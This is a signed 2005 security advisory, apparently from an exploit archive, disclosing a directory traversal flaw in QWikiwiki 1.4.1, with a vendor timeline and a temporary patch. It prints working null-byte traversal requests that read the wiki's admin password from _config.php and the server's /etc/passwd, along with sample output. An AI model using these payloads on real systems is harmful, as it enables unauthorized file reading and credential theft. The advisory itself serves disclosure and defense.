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QWikiwiki.txt

QWikiwiki.txt
Posted Jan 5, 2005
Authored by Madelman

QWikiwiki 1.4.1 is susceptible to a directory traversal vulnerability. Detailed exploitation provided.

tags | exploit
MD5 | c3fff0ed07b6980af216deb6169b95d7

QWikiwiki.txt

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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Title: QWikiwiki directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 01/01/2005
Severity: Critical

Summary:
- --------

QwikiWiki is driven by one core design goal: simplicity. This design
goal is codified into three key principles:
~ Self Sufficiency: QwikiWiki requires only a web server and PHP.
~ Zero-Edit Deployment: QwikiWiki is immediately usable "out of the box".
~ Minimalist Featureset: QwikiWiki is not everything to everybody.

QwikiWiki uses only cookies and the file system, and thus does not
require a MySQL server or any other database
support. Data is stored in simple text files, and backups are just
complete copies of the data directory. Ain't
nothing fancier than it need be.
(from vendor site: http://www.qwikiwiki.com)

QWikiwiki doesn't check the page parameter which allows reading any file

This vulnerability has been tested with QWikiwiki 1.4.1


Details:
- --------

If we want to read the password for QWikiwiki:

REQUEST:
http://[SERVER]/qwiki/index.php?page=../_config.php%00
RETURNS: (looking at source of HTML)
[...]
$QW_CONFIG['title'] = "QwikiWiki";
$QW_CONFIG['adminName'] = "David Barrett";
$QW_CONFIG['adminPassword'] = 'changeme!'


We can also read any file the webserver has permission to:

REQUEST:
http://[SERVER]/qwiki/index.php?page=../../../../../../etc/passwd%00
RESPONSE:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]


Solution
- --------

Temporary Fix
In file _wikiLib.php substitute

function QWCreateDataPath?( $page, $extension )
{
return 'data/'. $page . $extension;
}

with

function QWCreateDataPath?( $page, $extension )
{
if (strpos($page, "..") === false) {
~ return 'data/'. $page . $extension;
} else {
~ return '';
}
}


Timeline
- --------

01/01/2005 - Vulnerability found
01/01/2005 - Vendor contacted
01/01/2005 - Vendor confirmed bug
04/01/2005 - Bug published in vendor page and advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

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-----END PGP SIGNATURE-----

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